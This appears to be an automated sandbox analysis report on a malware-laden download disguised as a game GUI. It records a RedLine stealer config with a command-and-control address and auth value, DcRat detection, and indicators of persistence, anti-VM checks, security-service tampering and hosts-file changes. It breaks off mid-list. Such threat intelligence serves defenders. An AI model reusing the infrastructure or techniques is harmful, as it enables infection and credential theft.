Resubmissions
29-12-2022 09:52
221229-lv4v6sfh7v 10Analysis
-
max time kernel
1799s -
max time network
1801s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
29-12-2022 09:52
Static task
static1
Behavioral task
behavioral1
Sample
RUNNING FROM THE INTERNET - FREE GUI - AUTO SPIN & MORE!.txt
Resource
win10v2004-20221111-en
General
-
Target
RUNNING FROM THE INTERNET - FREE GUI - AUTO SPIN & MORE!.txt
-
Size
103B
-
MD5
5755c57c7d3b7304b42015c5dd34e5be
-
SHA1
923d617a8a76195879a0eebc8a9794e00378450f
-
SHA256
c66de09481480d5da5ab95db295295e9b36bc2e004e72c46a8486abc72df8f10
-
SHA512
0e3f3f38b76d59a124b5b89273ec5390ec0493cfa5c476043c5fc94e7da56a3cbb2f64bf750fd3f0d1b688c16f22f94dc46dd27fb078943e5847019f09b66c7d
Malware Config
Extracted
C:\Program Files\WinRAR\Rar.txt
Extracted
C:\Program Files\WinRAR\WhatsNew.txt
https
http
http://weirdsgn.com
http://icondesignlab.com
https://rarlab.com/themes/WinRAR_Classic_48x36.theme.rar
Extracted
C:\Users\Admin\AppData\Roaming\videos\credits.html
<[email protected]>
<[email protected]>
<[email protected]>
<[email protected]>
<[email protected]>
<[email protected]>
<[email protected]>
<[email protected]>
<[email protected]>
"[email protected]"
https://www.apache.org/licenses/
https://www.apache.org/licenses/LICENSE-2.0
http://www.apache.org/licenses/
http://www.apache.org/licenses/LICENSE-2.0
http://mozilla.org/MPL/2.0/
http://www.torchmobile.com/
http://www.mozilla.org/MPL/
http://source.android.com/
http://source.android.com/compatibility
https://github.com/mit-plv/fiat-crypto/blob/master/AUTHORS
http://www.opensource.org/licenses/bsd-license.php
http://www.freetype.org
http://www.unicode.org/copyright.html
http://www.tex-tipografia.com/spanish_hyphen.html
https://llvm.org/docs/DeveloperPolicy.html#legacy
http://llvm.org
http://sourceware.org/newlib/docs.html
http://sourceware.org/ml/newlib/
https://opensource.org/licenses/BSD-3-Clause
http://website-archive.mozilla.org/www.mozilla.org/mpl/MPL/NPL/1.1/
http://www.mozilla.org/NPL/
http://scripts.sil.org/OFL
Extracted
redline
82.115.223.45:81
-
auth_value
e26fd3a6dafd251d055a64ac67f72836
Signatures
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Modifies system executable filetype association 2 TTPs 8 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR32\ = "{B41DB860-8EE4-11D2-9906-E49FADC173CA}" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA} uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-64E4-11D2-9906-E49FADC173CA}\ uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR\ = "{B41DB860-64E4-11D2-9906-E49FADC173CA}" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA} uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\PropertySheetHandlers\{B41DB860-8EE4-11D2-9906-E49FADC173CA}\ uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\WinRAR32 uninstall.exe -
Process spawned unexpected child process 39 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2504 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2816 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5672 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5628 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3808 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4492 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4460 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4688 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2920 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4668 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 112 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5684 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3764 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3492 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6044 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5676 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5216 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5608 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4916 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4996 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1848 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5012 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5444 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5716 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5320 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2112 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5476 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1468 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5028 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5468 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4648 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2228 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4868 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5372 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4556 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4124 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 924 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5816 3444 schtasks.exe 223 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5132 3444 schtasks.exe 223 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
resource yara_rule behavioral1/memory/4420-491-0x0000000000730000-0x00000000008F6000-memory.dmp dcrat -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ UserOOBE.exe -
Blocklisted process makes network request 1 IoCs
flow pid Process 486 6020 powershell.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 2 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\hosts CommSurrogate.exe File opened for modification C:\Windows\System32\drivers\etc\hosts comSvc.exe -
Executes dropped EXE 64 IoCs
pid Process 4892 ChromeRecovery.exe 4028 winrar-x64-611.exe 2320 uninstall.exe 460 WinRAR.exe 3148 888 RAT Private .exe 4604 flagx.exe 1796 Obfuscator.exe 4724 Aut2exe.exe 2120 upx.exe 308 UUFVWP.exe 1160 UUFVWP.exe 3480 UUFVWP.exe 1188 UUFVWP.exe 4168 UUFVWP.exe 4392 UUFVWP.exe 4796 videos.exe 4924 videos.exe 4788 videos.exe 4960 videos.exe 4440 videos.exe 2356 videos.exe 3828 videos.exe 3300 videos.exe 4164 videos.exe 1844 videos.exe 1940 videos.exe 4436 videos.exe 3556 videos.exe 3508 videos.exe 1548 videos.exe 4784 videos.exe 4068 videos.exe 976 videos.exe 5192 videos.exe 5264 videos.exe 5536 WinRAR.exe 5608 videos.exe 5620 videos.exe 6076 Builder.exe 5472 videos.exe 1328 videos.exe 4916 videos.exe 924 videos.exe 4076 videos.exe 3724 notification_helper.exe 1560 notification_helper.exe 1456 Builder.exe 4148 Builder.exe 4640 Stub.exe 5216 Builder.exe 5444 Builder.exe 2112 Builder.exe 2136 CommHost.exe 2372 CommSurrogate.exe 4420 comSvc.exe 3608 videos.exe 4756 comSvc.exe 5604 comSvc.exe 3756 csrss.exe 4960 Registry.exe 5960 WinRAR.exe 5556 DORK PREMIUM PACK.exe 1992 crack.exe 2688 crack.exe -
Registers COM server for autorun 1 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32\ = "C:\\Program Files\\WinRAR\\rarext.dll" uninstall.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32\ThreadingModel = "Apartment" uninstall.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B41DB860-64E4-11D2-9906-E49FADC173CA}\InProcServer32 uninstall.exe -
Stops running service(s) 3 TTPs
-
resource yara_rule behavioral1/memory/3148-148-0x0000000010000000-0x00000000100BB000-memory.dmp upx behavioral1/memory/3148-219-0x0000000010000000-0x00000000100BB000-memory.dmp upx behavioral1/memory/2120-269-0x0000000000400000-0x000000000057E000-memory.dmp upx behavioral1/memory/2120-270-0x0000000000400000-0x000000000057E000-memory.dmp upx behavioral1/memory/308-271-0x0000000000400000-0x00000000004E8000-memory.dmp upx behavioral1/memory/308-272-0x0000000000400000-0x00000000004E8000-memory.dmp upx behavioral1/memory/1160-273-0x0000000000400000-0x00000000004E8000-memory.dmp upx behavioral1/memory/308-274-0x0000000000400000-0x00000000004E8000-memory.dmp upx behavioral1/memory/3148-373-0x0000000010000000-0x00000000100BB000-memory.dmp upx -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion UserOOBE.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion UserOOBE.exe -
Checks computer location settings 2 TTPs 15 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation winrar-x64-611.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation videos.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation comSvc.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation Stub.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation nw.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation nw.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation videos.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation CommHost.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation nw.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation 888 RAT Private .exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation videos.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation videos.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation DORK PREMIUM PACK.exe Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation nw.exe -
Drops startup file 4 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\videos.lnk cscript.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\videos.lnk cscript.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\crack.exe crack.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\crack.exe crack.exe -
Loads dropped DLL 64 IoCs
pid Process 2584 Process not Found 3148 888 RAT Private .exe 3148 888 RAT Private .exe 3148 888 RAT Private .exe 308 UUFVWP.exe 3148 888 RAT Private .exe 4796 videos.exe 4924 videos.exe 4924 videos.exe 4924 videos.exe 4788 videos.exe 4960 videos.exe 4960 videos.exe 4960 videos.exe 4960 videos.exe 4960 videos.exe 4960 videos.exe 4960 videos.exe 4960 videos.exe 4960 videos.exe 4440 videos.exe 4440 videos.exe 4440 videos.exe 2356 videos.exe 2356 videos.exe 2356 videos.exe 3828 videos.exe 3828 videos.exe 3828 videos.exe 3828 videos.exe 3300 videos.exe 3300 videos.exe 3300 videos.exe 4164 videos.exe 1844 videos.exe 1940 videos.exe 1940 videos.exe 1940 videos.exe 4436 videos.exe 1940 videos.exe 1940 videos.exe 1940 videos.exe 1940 videos.exe 1940 videos.exe 1940 videos.exe 4436 videos.exe 4436 videos.exe 3556 videos.exe 3556 videos.exe 3556 videos.exe 3508 videos.exe 3508 videos.exe 3508 videos.exe 3508 videos.exe 1548 videos.exe 1548 videos.exe 1548 videos.exe 4784 videos.exe 4068 videos.exe 976 videos.exe 976 videos.exe 4068 videos.exe 976 videos.exe 4068 videos.exe -
Uses the VBS compiler for execution 1 TTPs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe Key created \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA UserOOBE.exe -
Enumerates connected drives 3 TTPs 4 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: cmd.exe File opened (read-only) \??\E: cmd.exe File opened (read-only) \??\E: cscript.exe File opened (read-only) \??\E: cscript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
AutoIT Executable 14 IoCs
AutoIT scripts compiled to PE executables.
resource yara_rule behavioral1/memory/3148-143-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-145-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-149-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-152-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-155-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-161-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-169-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-180-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-186-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-194-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/3148-206-0x0000000000190000-0x00000000008A0000-memory.dmp autoit_exe behavioral1/memory/308-271-0x0000000000400000-0x00000000004E8000-memory.dmp autoit_exe behavioral1/memory/308-272-0x0000000000400000-0x00000000004E8000-memory.dmp autoit_exe behavioral1/memory/308-274-0x0000000000400000-0x00000000004E8000-memory.dmp autoit_exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 4400 UserOOBE.exe -
Suspicious use of SetThreadContext 6 IoCs
description pid Process procid_target PID 6076 set thread context of 3672 6076 Builder.exe 299 PID 1456 set thread context of 1420 1456 Builder.exe 315 PID 4148 set thread context of 3132 4148 Builder.exe 316 PID 5216 set thread context of 788 5216 Builder.exe 332 PID 5444 set thread context of 4452 5444 Builder.exe 337 PID 2112 set thread context of 1228 2112 Builder.exe 340 -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\WinRAR winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\RarExt32.dll winrar-x64-611.exe File created C:\Program Files\Google\Chrome\updaterload.exe CommSurrogate.exe File opened for modification C:\Program Files\7-Zip\Lang\Registry.exe comSvc.exe File opened for modification C:\Program Files\WinRAR\License.txt winrar-x64-611.exe File created C:\Program Files\WinRAR\Order.htm winrar-x64-611.exe File created C:\Program Files\WinRAR\Default.SFX winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Default.SFX winrar-x64-611.exe File created C:\Program Files\WinRAR\WinCon64.SFX winrar-x64-611.exe File opened for modification C:\Program Files\Windows Mail\RCX2933.tmp comSvc.exe File created C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\b75acc1b-9172-4d6d-8e33-4f29896a0e81.tmp setup.exe File opened for modification C:\Program Files\WinRAR\Descript.ion winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\7zxa.dll winrar-x64-611.exe File created C:\Program Files\WinRAR\WinCon.SFX winrar-x64-611.exe File created C:\Program Files (x86)\Common Files\Microsoft Shared\Triedit\chrome.exe comSvc.exe File created C:\Program Files\Windows Sidebar\Shared Gadgets\7a73b78f679a6f comSvc.exe File opened for modification C:\Program Files\Windows Mail\comSvc.exe comSvc.exe File created C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir1580_1776724572\ChromeRecovery.exe elevation_service.exe File opened for modification C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir1580_1776724572\_metadata\verified_contents.json elevation_service.exe File created C:\Program Files\WinRAR\RarFiles.lst winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\RarFiles.lst winrar-x64-611.exe File created C:\Program Files\WinRAR\UnRAR.exe winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\WinRAR.exe winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\WinRAR.chm winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\ReadMe.txt winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\WhatsNew.txt winrar-x64-611.exe File created C:\Program Files\WinRAR\RarExtPackage.msix winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-48.png winrar-x64-611.exe File created C:\Program Files\Windows Sidebar\Shared Gadgets\chrome.exe comSvc.exe File created C:\Program Files\Uninstall Information\chrome.exe comSvc.exe File opened for modification C:\Program Files\7-Zip\Lang\RCX42E6.tmp comSvc.exe File created C:\Program Files\WinRAR\License.txt winrar-x64-611.exe File created C:\Program Files\WinRAR\7zxa.dll winrar-x64-611.exe File created C:\Program Files\WinRAR\Resources.pri winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Default64.SFX winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\WinCon.SFX winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Zip.SFX winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Zip64.SFX winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Uninstall.lst winrar-x64-611.exe File created C:\Program Files\WinRAR\RarExt32.dll winrar-x64-611.exe File created C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-32.png winrar-x64-611.exe File created C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-64.png winrar-x64-611.exe File created C:\Program Files\WinRAR\WinRAR.chm winrar-x64-611.exe File created C:\Program Files\WinRAR\Descript.ion winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Rar.exe winrar-x64-611.exe File created C:\Program Files\WinRAR\Uninstall.exe winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\RarExtPackage.msix winrar-x64-611.exe File created C:\Program Files\Uninstall Information\7a73b78f679a6f comSvc.exe File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\Triedit\RCX357F.tmp comSvc.exe File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20221229111302.pma setup.exe File created C:\Program Files\WinRAR\rarnew.dat uninstall.exe File opened for modification C:\Program Files\Google\Chrome\ChromeRecovery\scoped_dir1580_1776724572\ChromeRecovery.exe elevation_service.exe File opened for modification C:\Program Files\WinRAR\Rar.txt winrar-x64-611.exe File created C:\Program Files\WinRAR\Uninstall.lst winrar-x64-611.exe File created C:\Program Files\WinRAR\RarExtInstaller.exe winrar-x64-611.exe File opened for modification C:\Program Files\WinRAR\Uninstall.exe winrar-x64-611.exe File created C:\Program Files\WinRAR\WinRAR.exe winrar-x64-611.exe File created C:\Program Files\WinRAR\Zip64.SFX winrar-x64-611.exe File created C:\Program Files\7-Zip\Lang\ee2ad38f3d4382 comSvc.exe File created C:\Program Files\WinRAR\RarExt.dll winrar-x64-611.exe File created C:\Program Files\WinRAR\RarExtLogo.altform-unplated_targetsize-48.png winrar-x64-611.exe File opened for modification C:\Program Files\Windows Mail\RCX29E0.tmp comSvc.exe File opened for modification C:\Program Files (x86)\Common Files\Microsoft Shared\Triedit\chrome.exe comSvc.exe File opened for modification C:\Program Files\Windows Sidebar\Shared Gadgets\RCX3FD7.tmp comSvc.exe -
Drops file in Windows directory 5 IoCs
description ioc Process File opened for modification C:\Windows\Containers\serviced\RCX2C61.tmp comSvc.exe File opened for modification C:\Windows\Containers\serviced\RCX2CEF.tmp comSvc.exe File opened for modification C:\Windows\Containers\serviced\videos.exe comSvc.exe File created C:\Windows\Containers\serviced\videos.exe comSvc.exe File created C:\Windows\Containers\serviced\ebc794afde9c8a comSvc.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4412 sc.exe 4112 sc.exe 4692 sc.exe 5720 sc.exe 4068 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 9 IoCs
pid pid_target Process procid_target 548 6076 WerFault.exe 297 5428 1456 WerFault.exe 311 632 4148 WerFault.exe 313 5708 5216 WerFault.exe 328 5012 5444 WerFault.exe 330 5320 2112 WerFault.exe 333 6092 4420 WerFault.exe 371 2272 2620 WerFault.exe 604 5944 3132 WerFault.exe 613 -
Checks SCSI registry key(s) 3 TTPs 9 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_MSFT&PROD_VIRTUAL_DISK\2&1F4ADFFE&0&000003 chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Msft&Prod_Virtual_Disk\2&1f4adffe&0&000003\HardwareID chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Msft&Prod_Virtual_Disk\2&1f4adffe&0&000003\Service chrome.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_MSFT&PROD_VIRTUAL_DISK\2&1F4ADFFE&0&000004 chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Msft&Prod_Virtual_Disk\2&1f4adffe&0&000004\Service chrome.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_Msft&Prod_Virtual_Disk\2&1f4adffe&0&000004\HardwareID chrome.exe -
Creates scheduled task(s) 1 TTPs 39 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2504 schtasks.exe 3764 schtasks.exe 2112 schtasks.exe 5816 schtasks.exe 5628 schtasks.exe 4668 schtasks.exe 5608 schtasks.exe 1848 schtasks.exe 5012 schtasks.exe 5716 schtasks.exe 5468 schtasks.exe 4492 schtasks.exe 5684 schtasks.exe 4996 schtasks.exe 4648 schtasks.exe 4124 schtasks.exe 4460 schtasks.exe 5216 schtasks.exe 5320 schtasks.exe 1468 schtasks.exe 2228 schtasks.exe 2920 schtasks.exe 112 schtasks.exe 5444 schtasks.exe 4556 schtasks.exe 5676 schtasks.exe 924 schtasks.exe 5132 schtasks.exe 5372 schtasks.exe 2816 schtasks.exe 3492 schtasks.exe 6044 schtasks.exe 4916 schtasks.exe 5476 schtasks.exe 5028 schtasks.exe 4868 schtasks.exe 5672 schtasks.exe 3808 schtasks.exe 4688 schtasks.exe -
Enumerates system info in registry 2 TTPs 25 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS videos.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName videos.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS videos.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer videos.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName videos.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS videos.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName nw.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName videos.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS videos.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName videos.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName nw.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer nw.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer nw.exe Key opened 